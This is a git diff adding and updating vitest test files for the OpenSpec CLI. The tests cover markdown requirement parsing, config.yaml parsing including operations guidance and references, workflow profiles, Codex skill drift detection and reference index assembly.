+echo hello +\`\`\` +The system SHALL handle fenced examples before the prose line. + +#### Scenario: Test +Given test +When action +Then result`; + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + expect(spec.requirements[0].text).toBe( + 'The system SHALL handle fenced examples before the prose line.' + ); + expect(spec.requirements[0].scenarios).toHaveLength(1); + }); + + it('does not count a #### Scenario inside a fenced example as a real scenario', () => { + const content = `# Test Spec + +## Purpose +Test overview for fenced scenario handling. + +## Requirements + +### Requirement: Fenced scenario only +The system SHALL do something real. + +\`\`\`markdown +#### Scenario: not a real scenario +- **WHEN** a reader studies the example +- **THEN** it stays inside the fence +\`\`\``; + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + expect(spec.requirements[0].text).toBe('The system SHALL do something real.'); + expect(spec.requirements[0].scenarios).toHaveLength(0); + }); + + it('reads a wrapped body the same way under CRLF line endings', () => { + const content = [ + '# Test Spec', + '', + '## Purpose', + 'Test overview for CRLF body extraction.', + '', + '## Requirements', + '', + '### Requirement: Wrapped keyword', + 'The system performs the described behavior and it', + 'continues onto a second line where SHALL appears.', + '', + '#### Scenario: Test', + 'Given test', + 'When action', + 'Then result', + ].join('\r\n'); + + const parser = new MarkdownParser(content); + const spec = parser.parseSpec('test'); + + expect(spec.requirements[0].text).toBe( + 'The system performs the described behavior and it\ncontinues onto a second line where SHALL appears.' + ); }); }); }); diff --git a/test/core/parsers/requirement-blocks.test.ts b/test/core/parsers/requirement-blocks.test.ts new file mode 100644 index 0000000000..d0f9712cfe --- /dev/null +++ b/test/core/parsers/requirement-blocks.test.ts @@ -0,0 +1,133 @@ +import { describe, it, expect } from 'vitest'; +import { extractRequirementsSection, parseDeltaSpec } from '../../../src/core/parsers/requirement-blocks.js'; + +describe('extractRequirementsSection', () => { + it('parses canonical ### Requirement: headers', () => { + const result = extractRequirementsSection(`## Requirements\n### Requirement: Foo\nThe system SHALL foo.\n`); + expect(result.bodyBlocks.length).toBe(1); + expect(result.bodyBlocks[0].name).toBe('Foo'); + }); + + it('regression: parses mixed-case ### requirement: headers without silently dropping them', () => { + const variants = [ + '### requirement: Lowercase', + '### REQUIREMENT: Uppercase', + '### Requirement: Canonical', + ]; + for (const header of variants) { + const result = extractRequirementsSection(`## Requirements\n${header}\nThe system SHALL foo.\n`); + expect(result.bodyBlocks.length).toBeGreaterThan(0); + expect(result.bodyBlocks[0].name).toBe(header.replace(/^###\s*requirement:\s*/i, '')); + } + }); + + it('regression: parses ###Requirement: header with no space after ### without silently dropping it', () => { + const result = extractRequirementsSection(`## Requirements\n###Requirement: NoSpace\nThe system SHALL foo.\n`); + expect(result.bodyBlocks.length).toBe(1); + expect(result.bodyBlocks[0].name).toBe('NoSpace'); + }); + + it('regression: multiple blocks where first uses no-space header are all parsed', () => { + const content = `## Requirements\n###Requirement: First\nThe system SHALL first.\n\n### Requirement: Second\nThe system SHALL second.\n`; + const result = extractRequirementsSection(content); + expect(result.bodyBlocks.length).toBe(2); + expect(result.bodyBlocks[0].name).toBe('First'); + expect(result.bodyBlocks[1].name).toBe('Second'); + }); +}); + +describe('parseDeltaSpec', () => { + it('strips a UTF-8 BOM so a delta section on the first line still parses', () => { + // Windows editors and PowerShell redirects prepend a BOM; without + // stripping it the first line never matches "## ADDED Requirements" and + // validate reports "No delta sections found" for a well-formed file. + const content = `## ADDED Requirements\n### Requirement: BOM survivor\nThe system SHALL parse.\n\n#### Scenario: Parses\n- **WHEN** a BOM prefixes the file\n- **THEN** the delta is found\n`; + const result = parseDeltaSpec(content); + expect(result.sectionPresence.added).toBe(true); + expect(result.added.length).toBe(1); + expect(result.added[0].name).toBe('BOM survivor'); + }); + + it('regression: parses ###Requirement: header with no space in delta ADDED section', () => { + const content = `## ADDED Requirements\n###Requirement: NoSpace\nThe system SHALL foo.\n`; + const result = parseDeltaSpec(content); + expect(result.added.length).toBe(1); + expect(result.added[0].name).toBe('NoSpace'); + }); + + it('ignores requirement headers and delta sections inside fenced code blocks', () => { + const content = [ + '## ADDED Requirements', + '', + '### Requirement: Real requirement', + 'The system SHALL do the thing.', + '', + '#### Scenario: It works', + '- **WHEN** a user acts', + '- **THEN** it succeeds', + '', + 'Authors may document the delta format like this:', + '', + '```markdown', + '## ADDED Requirements', + '### Requirement: Example only', + '#### Scenario: Example scenario', + '```', + '', + ].join('\n'); + + const result = parseDeltaSpec(content); + expect(result.added.map((b) => b.name)).toEqual(['Real requirement']); + // The fenced example stays inside the real requirement block instead of + // becoming a phantom requirement. + expect(result.added[0].raw).toContain('```markdown'); + }); + + it('ignores REMOVED bullets and RENAMED pairs inside fenced code blocks', () => { + const content = [ + '## REMOVED Requirements', + '- `### Requirement: Actually removed`', + '', + '```markdown', + '- `### Requirement: Documented example`', + '```', + '', + '## RENAMED Requirements', + '- FROM: `### Requirement: Old name`', + '- TO: `### Requirement: New name`', + '', + '```markdown', + '- FROM: `### Requirement: Example old`', + '- TO: `### Requirement: Example new`', + '```', + '', + ].join('\n'); + + const result = parseDeltaSpec(content); + expect(result.removed).toEqual(['Actually removed']); + expect(result.renamed).toEqual([{ from: 'Old name', to: 'New name' }]); + }); +}); + +describe('extractRequirementsSection (fenced code blocks)', () => { + it('does not treat requirement headers inside fenced code blocks as real requirements', () => { + const content = [ + '# Spec', + '', + '## Requirements', + '', + '### Requirement: Real requirement', + 'The system SHALL do the thing.', + '', + 'Example of the format authors should follow:', + '', + '```markdown', + '### Requirement: Example only', + '```', + '', + ].join('\n'); + + const result = extractRequirementsSection(content); + expect(result.bodyBlocks.map((b) => b.name)).toEqual(['Real requirement']); + }); +}); diff --git a/test/core/planning-home.test.ts b/test/core/planning-home.test.ts new file mode 100644 index 0000000000..fb48bc6ac5 --- /dev/null +++ b/test/core/planning-home.test.ts @@ -0,0 +1,48 @@ +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { afterEach, describe, expect, it } from 'vitest'; + +import { + type PlanningHome, + formatChangeLocation, + getChangeDir, + resolveCurrentPlanningHomeSync, +} from '../../src/core/planning-home.js'; + +describe('planning home paths', () => { + const tempDirs: string[] = []; + + afterEach(() => { + for (const tempDir of tempDirs.splice(0)) { + fs.rmSync(tempDir, { recursive: true, force: true }); + } + }); + + it('resolves repo-local projects with foreign workspace.yaml as repo planning homes', () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-planning-home-')); + tempDirs.push(tempDir); + const repoRoot = path.join(tempDir, 'foreign-tool-repo'); + const changesDir = path.join(repoRoot, 'openspec', 'changes'); + + fs.mkdirSync(changesDir, { recursive: true }); + fs.writeFileSync( + path.join(repoRoot, 'workspace.yaml'), + `tool_workspace: + projects: + - name: example + path: ./service +`, + 'utf-8' + ); + + const planningHome = resolveCurrentPlanningHomeSync({ + startPath: changesDir, + allowImplicitRepoRoot: false, + }); + + expect(planningHome.kind).toBe('repo'); + expect(planningHome.root).toBe(fs.realpathSync.native(repoRoot)); + }); +}); diff --git a/test/core/profile-sync-drift.test.ts b/test/core/profile-sync-drift.test.ts index a911f06bb2..cfa373affe 100644 --- a/test/core/profile-sync-drift.test.ts +++ b/test/core/profile-sync-drift.test.ts @@ -1,9 +1,10 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; import { hasProjectConfigDrift, + hasToolProfileOrDeliveryDrift, WORKFLOW_TO_SKILL_DIR, } from '../../src/core/profile-sync-drift.js'; import { CORE_WORKFLOWS } from '../../src/core/profiles.js'; @@ -37,15 +38,30 @@ function setupCoreCommands(projectDir: string): void { } } +function setupCodexCoreSkills(projectDir: string): string { + const skillsDir = path.join(projectDir, '.agents', 'skills'); + for (const workflow of CORE_WORKFLOWS) { + const skillDirName = WORKFLOW_TO_SKILL_DIR[workflow]; + const skillPath = path.join(skillsDir, skillDirName, 'SKILL.md'); + fs.mkdirSync(path.dirname(skillPath), { recursive: true }); + fs.writeFileSync(skillPath, `name: ${skillDirName}\n`); + } + fs.writeFileSync(path.join(skillsDir, '.openspec-target'), 'codex\n'); + return skillsDir; +} + describe('profile sync drift detection', () => { let tempDir: string; beforeEach(() => { - tempDir = path.join(os.tmpdir(), `openspec-profile-sync-drift-test-${Date.now()}-${Math.random().toString(36).slice(2)}`); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-profile-sync-drift-test-')); fs.mkdirSync(path.join(tempDir, 'openspec'), { recursive: true }); + vi.stubEnv('HOME', path.join(tempDir, 'home')); + vi.stubEnv('USERPROFILE', path.join(tempDir, 'home')); }); afterEach(() => { + vi.unstubAllEnvs(); fs.rmSync(tempDir, { recursive: true, force: true }); }); @@ -65,6 +81,21 @@ describe('profile sync drift detection', () => { expect(hasDrift).toBe(true); }); + it('does not remove global MiniMax Code skills for commands-only delivery', () => { + const skillPath = path.join( + tempDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + fs.mkdirSync(path.dirname(skillPath), { recursive: true }); + fs.writeFileSync(skillPath, 'name: openspec-explore\n'); + + expect(hasProjectConfigDrift(tempDir, CORE_WORKFLOWS, 'commands')).toBe(false); + }); + it('detects drift when required profile workflow files are missing', () => { writeSkill(tempDir, 'explore'); @@ -83,10 +114,83 @@ describe('profile sync drift detection', () => { it('detects drift when extra workflows are installed for both delivery', () => { setupCoreSkills(tempDir); setupCoreCommands(tempDir); - writeSkill(tempDir, 'sync'); - writeCommand(tempDir, 'sync'); + writeSkill(tempDir, 'new'); + writeCommand(tempDir, 'new'); const hasDrift = hasProjectConfigDrift(tempDir, CORE_WORKFLOWS, 'both'); expect(hasDrift).toBe(true); }); + + it('does not report legacy Codex drift when both roots resolve to the same files', () => { + setupCodexCoreSkills(tempDir); + fs.symlinkSync( + process.platform === 'win32' ? path.join(tempDir, '.agents') : '.agents', + path.join(tempDir, '.codex'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + expect( + hasToolProfileOrDeliveryDrift(tempDir, 'codex', CORE_WORKFLOWS, 'skills') + ).toBe(false); + }); + + it('reports an equal distinct legacy Codex copy that migration can remove', () => { + const skillsDir = setupCodexCoreSkills(tempDir); + const currentSkill = path.join(skillsDir, 'openspec-explore', 'SKILL.md'); + const legacySkill = path.join( + tempDir, + '.codex', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + fs.mkdirSync(path.dirname(legacySkill), { recursive: true }); + fs.copyFileSync(currentSkill, legacySkill); + + expect( + hasToolProfileOrDeliveryDrift(tempDir, 'codex', CORE_WORKFLOWS, 'skills') + ).toBe(true); + }); + + it('reports generated-only Codex differences that migration can remove', () => { + const skillsDir = setupCodexCoreSkills(tempDir); + const currentSkill = path.join(skillsDir, 'openspec-explore', 'SKILL.md'); + const legacySkill = path.join( + tempDir, + '.codex', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + fs.writeFileSync( + currentSkill, + '---\nmetadata:\n generatedBy: "1.7.0"\n---\nUse $openspec-apply-change (Codex) or /openspec-apply-change (other agents).\n' + ); + fs.mkdirSync(path.dirname(legacySkill), { recursive: true }); + fs.writeFileSync( + legacySkill, + '\uFEFF---\r\nmetadata:\r\n generatedBy: "0.1.0"\r\n---\r\nUse $openspec-apply-change.\r\n' + ); + + expect( + hasToolProfileOrDeliveryDrift(tempDir, 'codex', CORE_WORKFLOWS, 'skills') + ).toBe(true); + }); + + it('does not repeatedly report a divergent legacy Codex copy', () => { + setupCodexCoreSkills(tempDir); + const legacySkill = path.join( + tempDir, + '.codex', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + fs.mkdirSync(path.dirname(legacySkill), { recursive: true }); + fs.writeFileSync(legacySkill, 'user customization\n'); + + expect( + hasToolProfileOrDeliveryDrift(tempDir, 'codex', CORE_WORKFLOWS, 'skills') + ).toBe(false); + }); }); diff --git a/test/core/profiles.test.ts b/test/core/profiles.test.ts index 4df8e66c05..b06456e016 100644 --- a/test/core/profiles.test.ts +++ b/test/core/profiles.test.ts @@ -8,8 +8,12 @@ import { describe('profiles', () => { describe('CORE_WORKFLOWS', () => { - it('should contain the four core workflows', () => { - expect(CORE_WORKFLOWS).toEqual(['propose', 'explore', 'apply', 'archive']); + it('should contain the default core workflows', () => { + expect(CORE_WORKFLOWS).toEqual(['propose', 'explore', 'apply', 'update', 'sync', 'archive']); + }); + + it('should include update in the core profile (default install, not expanded-only)', () => { + expect(CORE_WORKFLOWS).toContain('update'); }); it('should be a subset of ALL_WORKFLOWS', () => { @@ -20,13 +24,13 @@ describe('profiles', () => { }); describe('ALL_WORKFLOWS', () => { - it('should contain all 11 workflows', () => { - expect(ALL_WORKFLOWS).toHaveLength(11); + it('should contain all 12 workflows', () => { + expect(ALL_WORKFLOWS).toHaveLength(12); }); it('should contain expected workflow IDs', () => { const expected = [ - 'propose', 'explore', 'new', 'continue', 'apply', + 'propose', 'explore', 'new', 'continue', 'apply', 'update', 'ff', 'sync', 'archive', 'bulk-archive', 'verify', 'onboard', ]; expect([...ALL_WORKFLOWS]).toEqual(expected); diff --git a/test/core/project-config.test.ts b/test/core/project-config.test.ts index 88944659de..2adbdf9ad6 100644 --- a/test/core/project-config.test.ts +++ b/test/core/project-config.test.ts @@ -3,6 +3,8 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; import { + loadOperationInputs, + OPERATION_IDS, readProjectConfig, validateConfigRules, suggestSchemas, @@ -55,6 +57,27 @@ rules: expect(consoleWarnSpy).not.toHaveBeenCalled(); }); + it('should preserve prototype-named rule keys as inert data', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `rules: + __proto__: + - Prototype rule + constructor: + - Constructor rule +` + ); + + const rules = readProjectConfig(tempDir)?.rules; + + expect(Object.getPrototypeOf(rules)).toBeNull(); + expect(Object.hasOwn(rules!, '__proto__')).toBe(true); + expect(rules?.__proto__).toEqual(['Prototype rule']); + expect(rules?.constructor).toEqual(['Constructor rule']); + }); + it('should parse minimal config with schema only', () => { const configDir = path.join(tempDir, 'openspec'); fs.mkdirSync(configDir, { recursive: true }); @@ -68,6 +91,249 @@ rules: expect(consoleWarnSpy).not.toHaveBeenCalled(); }); + it('should parse apply and archive operation guidance independently from rules', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +rules: + specs: + - Preserve requirement IDs +operations: + apply: + guidance: + - Keep test summaries concise + archive: + guidance: + - Summarize the archive outcome +` + ); + + const config = readProjectConfig(tempDir); + + expect(config).toEqual({ + schema: 'spec-driven', + rules: { specs: ['Preserve requirement IDs'] }, + operations: { + apply: { guidance: ['Keep test summaries concise'] }, + archive: { guidance: ['Summarize the archive outcome'] }, + }, + }); + expect(consoleWarnSpy).not.toHaveBeenCalled(); + }); + + it('should omit operations when the field is absent', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync(path.join(configDir, 'config.yaml'), 'schema: spec-driven\n'); + + expect(readProjectConfig(tempDir)?.operations).toBeUndefined(); + }); + + it('should preserve a valid operation when another operation is malformed', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +context: Valid context +operations: + apply: + guidance: + - Run focused tests first + archive: + guidance: not-an-array +` + ); + + const config = readProjectConfig(tempDir); + + expect(config).toEqual({ + schema: 'spec-driven', + context: 'Valid context', + operations: { + apply: { guidance: ['Run focused tests first'] }, + }, + }); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Guidance for operation 'archive' must be an array of strings") + ); + }); + + it('should ignore a non-object operations field without discarding other fields', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +context: Valid context +operations: + - apply +` + ); + + expect(readProjectConfig(tempDir)).toEqual({ + schema: 'spec-driven', + context: 'Valid context', + }); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Invalid 'operations' field") + ); + }); + + it('should parse githubCopilot.cloudAgent', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +githubCopilot: + cloudAgent: true +` + ); + + expect(readProjectConfig(tempDir)?.githubCopilot?.cloudAgent).toBe(true); + expect(consoleWarnSpy).not.toHaveBeenCalled(); + }); + + it('should warn on a non-boolean cloudAgent and keep the rest of the config', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +githubCopilot: + cloudAgent: "yes" +` + ); + + const config = readProjectConfig(tempDir); + expect(config?.schema).toBe('spec-driven'); + expect(config?.githubCopilot).toBeUndefined(); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Invalid 'githubCopilot.cloudAgent' field") + ); + }); + + it('should warn on a non-object githubCopilot field', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +githubCopilot: true +` + ); + + expect(readProjectConfig(tempDir)?.schema).toBe('spec-driven'); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Invalid 'githubCopilot' field") + ); + }); + + it('should ignore malformed operation entries independently', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +operations: + apply: invalid + archive: + guidance: + - Keep the summary concise +` + ); + + expect(readProjectConfig(tempDir)?.operations).toEqual({ + archive: { guidance: ['Keep the summary concise'] }, + }); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Invalid 'operations.apply' field") + ); + }); + + it('should warn for unknown operation IDs and fields while preserving valid guidance', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +operations: + deploy: + guidance: + - Deploy carefully + apply: + guidance: + - Run tests + replacementInstruction: Skip validation +` + ); + + expect(readProjectConfig(tempDir)?.operations).toEqual({ + apply: { guidance: ['Run tests'] }, + }); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Unknown operation ID 'deploy'") + ); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Unknown field(s) in 'operations.apply': replacementInstruction") + ); + }); + + it('should filter empty guidance and omit operations with no non-empty guidance', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +operations: + apply: + guidance: + - "" + - Run tests + - "" + archive: + guidance: + - "" +` + ); + + expect(readProjectConfig(tempDir)?.operations).toEqual({ + apply: { guidance: ['Run tests'] }, + }); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Some guidance for operation 'apply' are empty strings") + ); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Some guidance for operation 'archive' are empty strings") + ); + }); + + it('should preserve multi-line and Markdown guidance without rewriting it', () => { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.yaml'), + `schema: spec-driven +operations: + apply: + guidance: + - |- + **Verification** + - Run focused tests + - Preserve \`--store\` + - "Keep [links](https://example.com) intact" +` + ); + + expect(readProjectConfig(tempDir)?.operations?.apply?.guidance).toEqual([ + '**Verification**\n- Run focused tests\n- Preserve `--store`', + 'Keep [links](https://example.com) intact', + ]); + }); + it('should return partial config when schema is invalid', () => { const configDir = path.join(tempDir, 'openspec'); fs.mkdirSync(configDir, { recursive: true }); @@ -257,9 +523,13 @@ rules: expect(config).toBeNull(); expect(consoleWarnSpy).toHaveBeenCalledWith( - expect.stringContaining('Failed to parse openspec/config.yaml'), - expect.anything() + expect.stringContaining('could not parse') ); + // The warning names the file and never dumps a stack trace. + const warned = consoleWarnSpy.mock.calls.at(-1)?.[0] as string; + expect(warned).toContain('config.yaml'); + expect(warned).not.toContain('node_modules'); + expect(warned.split('\n')).toHaveLength(1); }); it('should warn when config is not a YAML object', () => { @@ -286,6 +556,88 @@ rules: }); }); + describe('references parsing', () => { + function writeConfig(body: string): void { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync(path.join(configDir, 'config.yaml'), body); + } + + it('keeps entries deduplicated and order-preserving, including invalid grammar', () => { + writeConfig( + 'schema: spec-driven\nreferences:\n - team-context\n - team-context\n - "BAD ID"\n - other-context\n - 7\n' + ); + + const config = readProjectConfig(tempDir); + + // Grammar validation is the index assembler's job; the parser + // keeps raw ids so bad ids surface as diagnostics. + expect(config?.references).toEqual([ + { id: 'team-context' }, + { id: 'BAD ID' }, + { id: 'other-context' }, + ]); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Some 'references' entries are invalid") + ); + }); + + it('ignores legacy targets declarations', () => { + writeConfig( + 'schema: spec-driven\n' + + 'references:\n - team-context\n - { id: team-context, remote: https://192.0.2.1/a.git }\n - 7\n' + + 'targets:\n - api-server\n - { id: api-server, remote: https://192.0.2.1/b.git }\n - 7\n' + ); + + const config = readProjectConfig(tempDir); + + expect(config?.references).toEqual([ + { id: 'team-context', remote: 'https://192.0.2.1/a.git' }, + ]); + expect('targets' in (config ?? {})).toBe(false); + expect(consoleWarnSpy).not.toHaveBeenCalledWith( + expect.stringContaining("Some 'targets' entries are invalid") + ); + }); + + it('normalizes map entries and fills remotes across duplicates (3.3)', () => { + writeConfig( + 'schema: spec-driven\nreferences:\n' + + ' - team-context\n' + + ' - { id: team-context, remote: https://192.0.2.1/team.git }\n' + + ' - { id: team-context, remote: https://192.0.2.2/other.git }\n' + + ' - { id: upstream-context }\n' + + ' - { remote: https://192.0.2.3/no-id.git }\n' + + ' - { id: bad-remote-context, remote: 7 }\n' + ); + + const config = readProjectConfig(tempDir); + + // One entry per id, first position kept; the FIRST remote seen + // fills a missing one and is never overridden. A map without an + // id drops; a non-string remote drops while the id is kept. + expect(config?.references).toEqual([ + { id: 'team-context', remote: 'https://192.0.2.1/team.git' }, + { id: 'upstream-context' }, + { id: 'bad-remote-context' }, + ]); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Some 'references' entries are invalid") + ); + }); + + it('omits the field when absent or empty and warns on non-arrays', () => { + writeConfig('schema: spec-driven\n'); + expect(readProjectConfig(tempDir)?.references).toBeUndefined(); + + writeConfig('schema: spec-driven\nreferences: not-an-array\n'); + expect(readProjectConfig(tempDir)?.references).toBeUndefined(); + expect(consoleWarnSpy).toHaveBeenCalledWith( + expect.stringContaining("Invalid 'references' field") + ); + }); + }); + describe('context size limit enforcement', () => { it('should accept context under 50KB limit', () => { const configDir = path.join(tempDir, 'openspec'); @@ -482,6 +834,49 @@ rules: }); }); + describe('loadOperationInputs', () => { + it('matches only the requested operation and never exposes artifact rules', () => { + const config = { + schema: 'spec-driven', + context: 'Project background', + rules: { specs: ['Artifact-only rule'] }, + operations: { + apply: { guidance: ['Apply guidance'] }, + archive: { guidance: ['Archive guidance'] }, + }, + }; + + expect(OPERATION_IDS).toEqual(['apply', 'archive']); + expect(loadOperationInputs(config, 'apply')).toEqual({ + context: 'Project background', + operationGuidance: ['Apply guidance'], + }); + expect(loadOperationInputs(config, 'archive')).toEqual({ + context: 'Project background', + operationGuidance: ['Archive guidance'], + }); + expect(JSON.stringify(loadOperationInputs(config, 'apply'))).not.toContain( + 'Artifact-only rule' + ); + }); + + it('omits empty optional inputs', () => { + expect( + loadOperationInputs( + { + schema: 'spec-driven', + context: '', + operations: { + apply: {}, + }, + }, + 'apply' + ) + ).toEqual({}); + expect(loadOperationInputs(null, 'archive')).toEqual({}); + }); + }); + describe('validateConfigRules', () => { it('should return no warnings for valid artifact IDs', () => { const rules = { @@ -491,7 +886,7 @@ rules: }; const validIds = new Set(['proposal', 'specs', 'design', 'tasks']); - const warnings = validateConfigRules(rules, validIds, 'spec-driven'); + const warnings = validateConfigRules(rules, validIds); expect(warnings).toEqual([]); }); @@ -504,14 +899,28 @@ rules: }; const validIds = new Set(['proposal', 'specs', 'design', 'tasks']); - const warnings = validateConfigRules(rules, validIds, 'spec-driven'); + const warnings = validateConfigRules(rules, validIds); expect(warnings).toHaveLength(2); expect(warnings[0]).toContain('Unknown artifact ID in rules: "testplan"'); - expect(warnings[0]).toContain('Valid IDs for schema "spec-driven": design, proposal, specs, tasks'); + expect(warnings[0]).toContain('Known artifact IDs: design, proposal, specs, tasks'); expect(warnings[1]).toContain('Unknown artifact ID in rules: "documentation"'); }); + it('should not warn for keys valid in another schema (union across schemas)', () => { + // `issue` is not a spec-driven artifact but is valid for a lighter + // schema; the union set contains it, so it must not warn. + const rules = { + proposal: ['Rule 1'], // spec-driven + issue: ['Rule 2'], // another schema + }; + const unionIds = new Set(['proposal', 'specs', 'design', 'tasks', 'issue']); + + const warnings = validateConfigRules(rules, unionIds); + + expect(warnings).toEqual([]); + }); + it('should return warnings for all unknown artifact IDs', () => { const rules = { invalid1: ['Rule 1'], @@ -520,7 +929,7 @@ rules: }; const validIds = new Set(['proposal', 'specs']); - const warnings = validateConfigRules(rules, validIds, 'spec-driven'); + const warnings = validateConfigRules(rules, validIds); expect(warnings).toHaveLength(3); }); @@ -529,7 +938,7 @@ rules: const rules = {}; const validIds = new Set(['proposal', 'specs']); - const warnings = validateConfigRules(rules, validIds, 'spec-driven'); + const warnings = validateConfigRules(rules, validIds); expect(warnings).toEqual([]); }); diff --git a/test/core/references.test.ts b/test/core/references.test.ts new file mode 100644 index 0000000000..bbe416ac25 --- /dev/null +++ b/test/core/references.test.ts @@ -0,0 +1,444 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + assembleReferenceIndex, + extractFirstPurposeLine, + renderReferencedStoresBlock, + renderReferencedStoresSection, +} from '../../src/core/references.js'; +import { + readStoreRegistryState, + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../src/core/store/foundation.js'; +import type { ResolvedOpenSpecRoot } from '../../src/core/root-selection.js'; +import { createOpenSpecRoot, writeSpec } from '../helpers/openspec-fixtures.js'; + +describe('reference index assembly', () => { + let tempDir: string; + let globalDataDir: string; + let savedXdgDataHome: string | undefined; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-references-')); + globalDataDir = path.join(tempDir, 'data', 'openspec'); + // Backstop: store calls below thread `globalDataDir`, but if a future + // edit forgets one, the path resolver falls back to XDG_DATA_HOME and + // then to the real ~/.local/share/openspec. Pin XDG at the temp dir so + // a missed arg can never pollute the developer's home registry. + savedXdgDataHome = process.env.XDG_DATA_HOME; + process.env.XDG_DATA_HOME = path.join(tempDir, 'xdg'); + }); + + afterEach(() => { + if (savedXdgDataHome === undefined) { + delete process.env.XDG_DATA_HOME; + } else { + process.env.XDG_DATA_HOME = savedXdgDataHome; + } + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function mkdir(relativePath: string): string { + const dir = path.join(tempDir, relativePath); + fs.mkdirSync(dir, { recursive: true }); + return dir; + } + + async function registerStore( + id: string, + options: { healthyRoot?: boolean; metadataId?: string | null } = {} + ): Promise<string> { + const storeRoot = mkdir(`stores/${id}`); + if (options.healthyRoot !== false) { + createOpenSpecRoot(storeRoot); + } + if (options.metadataId !== null) { + await writeStoreMetadataState(storeRoot, { + version: 1, + id: options.metadataId ?? id, + }); + } + + const existing = await readStoreRegistryState({ globalDataDir }).catch(() => null); + await writeStoreRegistryState( + { + version: 1, + stores: { + ...(existing?.stores ?? {}), + [id]: { backend: { type: 'git', local_path: storeRoot } }, + }, + }, + { globalDataDir } + ); + + return storeRoot; + } + + function appRoot(): ResolvedOpenSpecRoot { + const rootDir = mkdir('app-repo'); + createOpenSpecRoot(rootDir); + return { + path: rootDir, + source: 'nearest', + changesDir: path.join(rootDir, 'openspec', 'changes'), + defaultSchema: 'spec-driven', + } as ResolvedOpenSpecRoot; + } + + async function assemble(references: string[], resolvedRoot = appRoot()) { + return assembleReferenceIndex({ + references: references.map((id) => ({ id })), + resolvedRoot, + globalDataDir, + }); + } + + it('indexes a resolved store with first-Purpose-line summaries and the fetch recipe', async () => { + const storeRoot = await registerStore('team-context'); + writeSpec( + storeRoot, + 'billing', + '# billing\n\n## Purpose\n\nBilling must support usage-based invoicing.\nMore detail here.\n\n## Requirements\n' + ); + writeSpec(storeRoot, 'auth-sso', '# auth\n\n## Requirements\n\nNo purpose section.\n'); + + const entries = await assemble(['team-context']); + + expect(entries).toHaveLength(1); + const entry = entries[0]; + expect(entry.store_id).toBe('team-context'); + expect(entry.root).toBe(fs.realpathSync.native(storeRoot)); + expect(entry.specs).toEqual([ + { id: 'auth-sso', summary: '' }, + { id: 'billing', summary: 'Billing must support usage-based invoicing.' }, + ]); + expect(entry.fetch).toBe('openspec show <spec-id> --type spec --store team-context'); + expect(entry.status).toEqual([]); + }); + + it('indexes a resolved store with zero specs as an empty entry', async () => { + await registerStore('empty-context'); + + const entries = await assemble(['empty-context']); + + 